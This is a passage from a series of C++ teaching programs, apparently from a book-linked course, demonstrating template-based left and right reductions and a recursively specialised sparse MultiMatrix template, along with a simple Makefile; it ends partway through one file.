InputStreamPosition(FILE *af) : f(af) { c = fgetc(af); }
~InputStreamPosition() {}
InputStreamPosition Next() const { return InputStreamPosition(f); }
bool Empty() const { return c == EOF || c == '\n'; }
int Get() const { return c; }
};
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class t> t sum(t x, t y) { return x + y; }
template <class t> t prod(t x, t y) { return x * y; }
struct int_item {
int data;
struct int_item *next;
};
int_item *make_il(int d, int_item *rest)
{
int_item *p = new int_item;
p->data = d;
p->next = rest;
return p;
}
void print_ilist(const int_item *list)
{
if (!list) {
printf("\n");
return;
}
printf("%d ", list->data);
print_ilist(list->next);
}
int_item *print_il(int d, int_item *rest)
{
printf("%d ", d);
return 0;
}
int main()
{
int array[] = { 10, 20, 30 };
int len = sizeof(array)/sizeof(*array);
int res1 = reduce_left(sum<int>, ArrayPosition<int>(array, len), 0);
int res2 = reduce_right(sum<int>, ArrayPosition<int>(array, len), 0);
printf("%d %d\n", res1, res2);
int res3 = reduce_left(prod<int>, ArrayPosition<int>(array, len), 1);
int res4 = reduce_right(prod<int>, ArrayPosition<int>(array, len), 1);
printf("%d %d\n", res3, res4);
int_item *list =
reduce_right(make_il, ArrayPosition<int>(array, len), (int_item*)0);
print_ilist(list);
int res5 = reduce_left(prod<int>, ListPosition<int_item, int>(list), 1);
printf("%d\n", res5);
reduce_left(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
reduce_right(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
FILE *f = fopen("reduction01.t", "r");
int res6 = reduce_left(sum<int>, InputStreamPosition(f), 0);
printf("%d\n", res6);
return 0;
}
reduction03.cppC++ / 118 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
~ListPosition() {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem& Get() const { return p->data; }
};
template <class elem>
class ArrayPosition {
elem *p;
int rest_size;
public:
ArrayPosition(elem *a, int len) : p(a), rest_size(len) {}
~ArrayPosition() {}
ArrayPosition<elem> Next() const
{ return ArrayPosition(p + 1, rest_size - 1); }
bool Empty() const { return rest_size < 1; }
const elem& Get() const { return *p; }
};
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class t> t sum(t x, t y) { return x + y; }
template <class t> t prod(t x, t y) { return x * y; }
struct int_item {
int data;
struct int_item *next;
};
int_item *make_il(int d, int_item *rest)
{
int_item *p = new int_item;
p->data = d;
p->next = rest;
return p;
}
void print_ilist(const int_item *list)
{
if (!list) {
printf("\n");
return;
}
printf("%d ", list->data);
print_ilist(list->next);
}
int_item *print_il(int d, int_item *rest)
{
printf("%d ", d);
return 0;
}
int_item *make_odd_list(int d, int_item *rest)
{
if (d % 2 == 1) {
int_item *p = new int_item;
p->data = d;
p->next = rest;
return p;
} else
return rest;
}
int main()
{
int array[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
int len = sizeof(array)/sizeof(*array);
int res1 = reduce_left(sum<int>, ArrayPosition<int>(array, len), 0);
int res2 = reduce_right(sum<int>, ArrayPosition<int>(array, len), 0);
printf("%d %d\n", res1, res2);
int res3 = reduce_left(prod<int>, ArrayPosition<int>(array, len), 1);
int res4 = reduce_right(prod<int>, ArrayPosition<int>(array, len), 1);
printf("%d %d\n", res3, res4);
int_item *list =
reduce_right(make_il, ArrayPosition<int>(array, len), (int_item*)0);
print_ilist(list);
int res5 = reduce_left(prod<int>, ListPosition<int_item, int>(list), 1);
printf("%d\n", res5);
reduce_left(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
reduce_right(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
int_item *list2 =
reduce_left(make_odd_list, ListPosition<int_item, int>(list), (int_item*)0);
reduce_left(print_il, ListPosition<int_item, int>(list2), (int_item*)0);
printf("\n");
return 0;
}
reduction04.cppC++ / 157 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem& Get() const { return p->data; }
};
template <class elem>
class RangePosition {
elem cur, last;
public:
RangePosition(elem from, elem to) : cur(from), last(to) {}
RangePosition<elem> Next() const { return RangePosition(cur + 1, last); }
bool Empty() const { return cur > last; }
elem Get() const { return cur; }
};
class NaturalPosition {
int cur;
public:
NaturalPosition(int from = 1) : cur(from) {}
NaturalPosition Next() const { return NaturalPosition(cur + 1); }
bool Empty() const { return false; }
int Get() const { return cur; }
NaturalPosition operator+(const NaturalPosition &n) { return cur + n.cur; }
operator int() const { return cur; }
};
template <class elem>
class TakePosition {
elem cur;
int n;
public:
TakePosition(elem from, int a) : cur(from), n(a) {}
TakePosition<elem> Next() const { return TakePosition(cur + 1, n - 1); }
bool Empty() const { return n == 0; }
elem Get() const { return cur; }
};
class StringPosition {
const char *p;
public:
StringPosition(const char *a) : p(a) {}
StringPosition Next() const { return StringPosition(p + 1); }
bool Empty() const { return *p == 0; };
const char& Get() const { return *p; }
};
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class t> t sum(t x, t y) { return x + y; }
template <class t> t prod(t x, t y) { return x * y; }
struct item {
int data;
item *next;
};
item *item_push(int data, item *rest)
{
item *tmp = new item;
tmp->data = data;
tmp->next = rest;
return tmp;
}
item *item_push_even(int data, item *rest)
{
if (data % 2 == 0) {
item *tmp = new item;
tmp->data = data;
tmp->next = rest;
return tmp;
} else
return rest;
}
item *item_push_square(int data, item *rest)
{
item *tmp = new item;
tmp->data = data * data;
tmp->next = rest;
return tmp;
}
item *item_print(int data, item *rest)
{
printf("%d ", data);
return 0;
}
template <class elem, class res> res count(elem x, res y) { return y + 1; }
int str2num(char x, int y)
{
return 10*y + x - '0';
}
int main()
{
int s = reduce_left(sum<int>, RangePosition<int>(1, 10), 0);
int p = reduce_left(prod<int>, RangePosition<int>(1, 10), 1);
printf("%d %d\n", s, p);
item *list1 = reduce_right(item_push, RangePosition<int>(1, 5), (item*) 0);
reduce_left(item_print, ListPosition<item, int>(list1), (item*)0);
printf("\n");
item *list2 = reduce_left(item_push, RangePosition<int>(1, 5), (item*) 0);
reduce_left(item_print, ListPosition<item, int>(list2), (item*)0);
printf("\n");
item *list3 = reduce_right(item_push, RangePosition<int>(1, 10), (item*) 0);
item *list4 =
reduce_right(item_push_even, ListPosition<item, int>(list3), (item*) 0);
reduce_left(item_print, ListPosition<item, int>(list4), (item*)0);
printf("\n");
item *list5 =
reduce_right(item_push_square, ListPosition<item, int>(list3), (item*) 0);
reduce_left(item_print, ListPosition<item, int>(list5), (item*)0);
printf("\n");
int c = reduce_left(count<char, int>, StringPosition("hello"), 0);
printf("%d ", c);
int n1 = reduce_left(str2num, StringPosition("2026"), 0);
printf("%d ", n1);
int n2 = reduce_right(str2num, StringPosition("2026"), 0);
printf("%d\n", n2);
int s1 = reduce_left(sum<NaturalPosition>, TakePosition<NaturalPosition>(1, 5), (NaturalPosition) 0);
printf("%d\n", s1);
return 0;
}
reduction05.cppC++ / 166 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem& Get() const { return p->data; }
};
template <class elem>
class RangePosition {
elem cur, last;
public:
RangePosition(elem from, elem to) : cur(from), last(to) {}
RangePosition<elem> Next() const { return RangePosition(cur + 1, last); }
bool Empty() const { return cur > last; }
elem Get() const { return cur; }
};
class NaturalPosition {
int cur;
public:
NaturalPosition(int from = 1) : cur(from) {}
NaturalPosition Next() const { return NaturalPosition(cur + 1); }
bool Empty() const { return false; }
int Get() const { return cur; }
};
template <class Pos, class Elem>
class TakePosition {
Pos pos;
int n;
public:
TakePosition(Pos a_pos, int a_n) : pos(a_pos), n(a_n) {}
TakePosition<Pos, Elem> Next() const
{ return TakePosition(pos.Next(), n - 1); }
bool Empty() const { return n < 1 || pos.Empty(); }
Elem Get() const { return pos.Get(); }
};
class StringPosition {
const char *p;
public:
StringPosition(const char *a) : p(a) {}
StringPosition Next() const { return StringPosition(p + 1); }
bool Empty() const { return *p == 0; };
const char& Get() const { return *p; }
};
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class t> t sum(t x, t y) { return x + y; }
template <class t> t prod(t x, t y) { return x * y; }
struct item {
int data;
item *next;
};
item *item_push(int data, item *rest)
{
item *tmp = new item;
tmp->data = data;
tmp->next = rest;
return tmp;
}
item *item_push_even(int data, item *rest)
{
return data % 2 ? item_push(data, rest) : rest;
}
item *item_push_square(int data, item *rest)
{
return item_push(data * data, rest);
}
item *item_print(int data, item *rest)
{
printf("%d ", data);
return 0;
}
void list_print(item *list)
{
reduce_left(item_print, ListPosition<item, int>(list), (item*)0);
printf("\n");
}
void list_delete(item *p)
{
while (p) {
item *tmp = p;
p = p->next;
delete tmp;
}
}
template <class elem, class res> res count(elem x, res y) { return y + 1; }
int str2num(char x, int y)
{
return 10*y + x - '0';
}
void lists()
{
item *list1 = reduce_right(item_push, RangePosition<int>(1, 5), (item*)0);
item *list2 = reduce_left(item_push, RangePosition<int>(1, 5), (item*)0);
item *list3 = reduce_right(item_push, RangePosition<int>(1, 10), (item*)0);
ListPosition<item, int> pos3(list3);
item *list4 = reduce_right(item_push_even, pos3, (item*)0);
item *list5 = reduce_right(item_push_square, pos3, (item*)0);
list_print(list1);
list_print(list2);
list_print(list3);
list_print(list4);
list_print(list5);
list_delete(list1);
list_delete(list2);
list_delete(list3);
list_delete(list4);
list_delete(list5);
}
void strings()
{
int c = reduce_left(count<char, int>, StringPosition("hello"), 0);
int n1 = reduce_left(str2num, StringPosition("2026"), 0);
int n2 = reduce_right(str2num, StringPosition("2026"), 0);
printf("%d %d %d\n", c, n1, n2);
}
void takes()
{
TakePosition<NaturalPosition, int> first5(NaturalPosition(1), 5);
printf("%d\n", reduce_left(sum<int>, first5, 0));
TakePosition<StringPosition, char> hel(StringPosition("hello"), 3);
printf("%d\n", reduce_left(count<char, int>, hel, 0));
TakePosition<RangePosition<int>, int> all(RangePosition<int>(1, 3), 100);
printf("%d\n", reduce_left(sum<int>, all, 0));
}
int main()
{
lists();
strings();
takes();
return 0;
}
Book example: multimatrix.cpp
multimatrix.cppC++ / 189 lines
// The MultiMatrix template demo
// Copyright (c) Andrey Vikt. Stolyarov, 2011-2025
// This is just a sample program for a book devoted to C++, see
// http://www.stolyarov.info/books/cppintro for details.
// No rights restricted; do whatever you want with this code,
// if you really want to.
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if(p) delete[] p; }
T& operator[](unsigned int idx) {
if(idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const {
return idx >= size ? init : p[idx];
}
int Size() const { return size; }
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size==0 ? 8 : size;
while(new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for(unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if(p)
delete[] p;
p = new_array;
size = new_size;
}
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix() {
for(int i=0; i < arr.Size(); i++)
if(arr[i])
delete arr[i];
}
MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx) {
if(!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
const MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx) const {
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
}
};
#if 1 // this implementation works fine, but there's a simpler approach
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> {
Array<T> arr;
public:
MultiMatrix() : arr(init_val) {}
T& operator[](unsigned int idx) { return arr[idx]; }
const T& operator[](unsigned int idx) const { return arr[idx]; }
};
#else // here the simpler approach goes
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
#endif
/* **************************************************************
Please note that this "simplified" approach with inheritance instead of
composition works ONLY for the dim==1 case, because on higher levels
the Array-based object is supposed to hold _pointers_ to "dim-1" objects,
while the operator[] must return a _reference_ to that object, hence
there's an extra dereference in the operator[]'s body.
Attempt to do smth. like this
template <class T, T init_val, int dim>
class MultiMatrix : public Array<MultiMatrix<T, init_val, dim-1>*> {
public:
MultiMatrix() : Array<MultiMatrix<T, init_val, dim-1>*>(0) {}
};
will therefore fail, effectively meaning that we'll have to provide our own
versions of operator[] anyway, but their bodies will look very ugly as
we'll have to mention the base class explicitly, several times, and, heh,
just take a look at it (that "Array<MultiMatrix<T, init_val, dim-1>*>"
thing).
There's also a temptation to hold objects, not pointers, within the arrays,
so it will be smth. like
template <class T, T init_val, int dim>
class MultiMatrix : public Array<MultiMatrix<T, init_val, dim-1> > {
public:
MultiMatrix() {}
};
Holding an object instead of a pointer is not good as the object is
notably larger, but this may be considered a minor issue not preventing us
from implementing the thing that way. However, there are more problems.
Such an implementation requires a default constructor for the Array
template (which is okay), but this also requires the assignment operator
for the Array<...> classes to be visible (and properly implemented), as it
is used within the Resize method. Yes, this is still possible, but it
effectively means every resize will _copy_ all lower-dimension data. Some
people believe such things are okay. We don't.
************************************************************** */
#if 0 // this is a simple test as it is shown in the book
#include <stdio.h>
int main()
{
MultiMatrix<int, -1, 5> mm;
mm[3][4][5][2][7] = 193;
mm[2][2][2][2][2] = 251;
printf("%d %d %d %d\n",
mm[3][4][5][2][7],
mm[2][2][2][2][2],
mm[0][1][2][3][4],
mm[1][2][3][2][1]);
return 0;
}
#else // this version of the test is more sophisticated
#include <stdio.h>
typedef MultiMatrix<int, -1, 5> MMi5;
static int get_mm5(const MMi5 &mm, int i1, int i2, int i3, int i4, int i5)
{
return mm[i1][i2][i3][i4][i5];
}
int main()
{
MultiMatrix<int, -1, 5> mm;
// this uses the non-const operator[]'s version
mm[3][4][5][2][7] = 193;
mm[2][2][2][2][2] = 251;
// this _still_ uses the non-const operator[]'s version
printf("%d %d %d %d\n",
mm[3][4][5][2][7],
mm[2][2][2][2][2],
mm[0][1][2][3][4],
mm[1][2][3][2][1]);
// and this uses the const operator[]'s version
printf("%d %d %d %d\n",
get_mm5(mm, 3, 4, 5, 2, 7),
get_mm5(mm, 2, 2, 2, 2, 2),
get_mm5(mm, 0, 1, 2, 3, 4),
get_mm5(mm, 1, 2, 3, 2, 1));
return 0;
}
#endif
05 (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
matrix.cppC++ / 72 lines
#include <stdio.h>
template <class T, int rows, int cols>
class Matrix {
T data[rows][cols];
public:
Matrix();
T& At(int row, int col) { return data[row][col]; }
const T& At(int row, int col) const { return data[row][col]; }
void Print(const char *fmt) const;
};
template<class T, int rows, int cols>
Matrix<T, rows, cols>::Matrix()
{
for (int i = 0; i < rows; i++)
for (int j = 0; j < cols; j++)
data[i][j] = 0;
}
template<class T, int a, int b, int c>
Matrix<T, a, c> operator*(const Matrix<T, a, b> &x, const Matrix<T, b, c> &y)
{
Matrix<T, a, c> z;
for (int i = 0; i < a; i++)
for (int j = 0; j < c; j++)
for (int k = 0; k < b; k++)
z.At(i, j) += x.At(i, k) * y.At(k, j);
return z;
}
template<class T, int rows, int cols>
void Matrix<T, rows, cols>::Print(const char *fmt) const
{
for (int i = 0; i < rows; i++) {
for (int j = 0; j < cols; j++)
printf(fmt, data[i][j]);
printf("\n");
}
}
int main()
{
int i, j, k;
Matrix<int, 2, 3> x;
Matrix<int, 3, 2> y;
Matrix<int, 2, 2> z;
Matrix<int, 3, 3> u;
k = 1;
for (i = 0; i < 2; i++)
for (j = 0; j < 3; j++) {
x.At(i, j) = k;
k++;
}
for (i = 0; i < 3; i++)
for (j = 0; j < 2; j++) {
y.At(i, j) = k;
k++;
}
z = x * y;
z.Print("%3d ");
u = y * x;
u.Print("%3d ");
// x * x;
return 0;
}
multimatrix00.cppC++ / 81 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx) {
if (idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const {
return idx >= size ? init : p[idx];
}
int Size() const { return size; }
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix() {
for (int i = 0; i < arr.Size(); i++)
if (arr[i])
delete arr[i];
}
MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) {
if (!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
const MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) const {
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
}
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> {
Array<T> arr;
public:
MultiMatrix() : arr(init_val) {}
T& operator[](unsigned int idx)
{ return arr[idx]; }
const T& operator[](unsigned int idx) const
{ return arr[idx]; }
};
int main()
{
MultiMatrix<int, -1, 5> mm;
mm[3][4][5][2][7] = 193;
mm[2][2][2][2][2] = 251;
printf("%d %d %d %d\n",
mm[3][4][5][2][7], mm[2][2][2][2][2],
mm[0][1][2][3][4], mm[1][2][3][2][1]);
return 0;
}
multimatrix01-inheritance.cppC++ / 82 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const
{
return idx >= size ? init : p[idx];
}
int Size() const { return size; }
private:
void Resize(unsigned int required_index);
void operator=(const Array<T>&) {}
Array(const Array<T>&) {}
};
template <class T>
void Array<T>::Resize(unsigned int required_index)
{
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
template <class T, T iv, int dim>
class MultiMatrix : public Array<MultiMatrix<T, iv, dim-1>*> {
typedef MultiMatrix<T, iv, dim-1> Sub;
typedef Array<Sub*> Base;
public:
MultiMatrix() : Base(0) {}
~MultiMatrix() {
for (int i = 0; i < Base::Size(); i++)
delete Base::operator[](i);
}
Sub& operator[](unsigned int idx) {
Sub*& slot = Base::operator[](idx);
if (!slot)
slot = new Sub;
return *slot;
}
const Sub& operator[](unsigned int idx) const {
static Sub dummy;
Sub *slot = Base::operator[](idx);
return slot ? *slot : dummy;
}
};
template <class T, T iv>
class MultiMatrix<T, iv, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(iv) {}
};
int main()
{
MultiMatrix<int, -1, 5> mm;
const MultiMatrix<int, -1, 5>& c = mm;
mm[3][4][5][2][7] = 193;
mm[2][2][2][2][2] = 251;
printf("%d %d %d %d\n",
mm[3][4][5][2][7], mm[2][2][2][2][2],
c[0][1][2][3][4], c[1][2][3][2][1]);
return 0;
}
multimatrix02.cppC++ / 72 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx) {
if (idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const {
return idx >= size ? init : p[idx];
}
int Size() const { return size; }
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix() {
for (int i = 0; i < arr.Size(); i++)
if (arr[i])
delete arr[i];
}
MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) {
if (!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
const MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) const {
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
}
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
int main()
{
MultiMatrix<int, -1, 3> mm;
mm[0][1][2] = 123;
return 0;
}
multimatrix03.cppC++ / 89 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx) {
if (idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const {
return idx >= size ? init : p[idx];
}
unsigned int Size() const { return size; }
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix() {
for (unsigned int i = 0; i < arr.Size(); i++)
if (arr[i])
delete arr[i];
}
MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) {
if (!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
const MultiMatrix<T, init_val, dim-1>&
operator[](unsigned int idx) const {
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
}
unsigned long Cells() const {
unsigned long total = 0;
for (unsigned int i = 0; i < arr.Size(); i++)
if (arr[i])
total += arr[i]->Cells();
return total;
}
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
unsigned long Cells() const { return this->Size(); }
};
int main()
{
MultiMatrix<int, -1, 3> m;
const MultiMatrix<int, -1, 3>& c = m;
printf("%lu\n", m.Cells());
m[0][0][0] = 1;
m[0][0][20] = 2;
m[0][5][3] = 3;
m[9][0][0] = 4;
printf("%lu\n", m.Cells());
int x = c[4][4][4];
printf("%d %lu\n", x, m.Cells());
int y = m[4][4][4];
printf("%d %lu\n", y, m.Cells());
return 0;
}
multimatrix04.cppC++ / 75 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx) {
if (idx >= size)
Resize(idx);
return p[idx];
}
const T& operator[](unsigned int idx) const {
return idx >= size ? init : p[idx];
}
unsigned int Size() const { return size; }
private:
void Resize(unsigned int required_index) {
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
typedef MultiMatrix<T, init_val, dim-1> Sub;
Array<Sub*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix() {
for (unsigned int i = 0; i < arr.Size(); i++)
delete arr[i];
}
Sub& operator[](unsigned int idx) {
if (!arr[idx])
arr[idx] = new Sub;
return *arr[idx];
}
const Sub& operator[](unsigned int idx) const {
static Sub dummy;
return arr[idx] ? *arr[idx] : dummy;
}
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
int main()
{
MultiMatrix<int, -1, 3> m;
const MultiMatrix<int, -1, 3>& c = m;
m[0][0][0] = 1;
m[0][0][20] = 2;
m[0][5][3] = 3;
m[9][0][0] = 4;
printf("%d %d %d %d\n", m[0][0][0], m[0][0][20], m[0][5][3], m[9][0][0]);
printf("%d %d\n", c[4][4][4], m[4][4][4]);
return 0;
}
multimatrix05.cppC++ / 100 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx);
const T& operator[](unsigned int idx) const;
unsigned int Size() const { return size; }
private:
void Resize(unsigned int required_index);
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix();
MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx);
const MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx) const;
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
template <class T>
T& Array<T>::operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
template <class T>
const T& Array<T>::operator[](unsigned int idx) const
{
return idx >= size ? init : p[idx];
}
template <class T>
void Array<T>::Resize(unsigned int required_index)
{
unsigned int new_size = size == 0 ? 8 : size;
while (new_size <= required_index)
new_size *= 2;
T *new_array = new T[new_size];
for (unsigned int i = 0; i < new_size; i++)
new_array[i] = i < size ? p[i] : init;
if (p)
delete[] p;
p = new_array;
size = new_size;
}
template <class T, T init_val, int dim>
MultiMatrix<T, init_val, dim>::~MultiMatrix()
{
for (unsigned int i = 0; i < arr.Size(); i++)
delete arr[i];
}
template <class T, T init_val, int dim>
MultiMatrix<T, init_val, dim-1>&
MultiMatrix<T, init_val, dim>::operator[](unsigned int idx)
{
if (!arr[idx])
arr[idx] = new MultiMatrix<T, init_val, dim-1>;
return *arr[idx];
}
template <class T, T init_val, int dim>
const MultiMatrix<T, init_val, dim-1>&
MultiMatrix<T, init_val, dim>::operator[](unsigned int idx) const
{
static MultiMatrix<T, init_val, dim-1> dummy;
return arr[idx] ? *arr[idx] : dummy;
}
int main()
{
MultiMatrix<int, -1, 3> m;
const MultiMatrix<int, -1, 3>& c = m;
m[0][0][0] = 1;
m[0][0][20] = 2;
m[0][5][3] = 3;
m[9][0][0] = 4;
printf("%d %d %d %d\n", m[0][0][0], m[0][0][20], m[0][5][3], m[9][0][0]);
printf("%d %d\n", c[4][4][4], m[4][4][4]);
return 0;
}
multimatrix06.cppC++ / 98 lines
#include <stdio.h>
template <class T>
class Array {
T *p;
T init;
unsigned int size;
public:
Array(T in) : p(0), init(in), size(0) {}
~Array() { if (p) delete[] p; }
T& operator[](unsigned int idx);
const T& operator[](unsigned int idx) const;
unsigned int Size() const { return size; }
private:
void Resize(unsigned int required_index);
void operator=(const Array<T>& ref) {}
Array(const Array<T>& ref) {}
};
template <class T, T init_val, int dim>
class MultiMatrix {
Array<MultiMatrix<T, init_val, dim-1>*> arr;
public:
MultiMatrix() : arr(0) {}
~MultiMatrix();
MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx);
const MultiMatrix<T, init_val, dim-1>& operator[](unsigned int idx) const;
};
template <class T, T init_val>
class MultiMatrix<T, init_val, 1> : public Array<T> {
public:
MultiMatrix() : Array<T>(init_val) {}
};
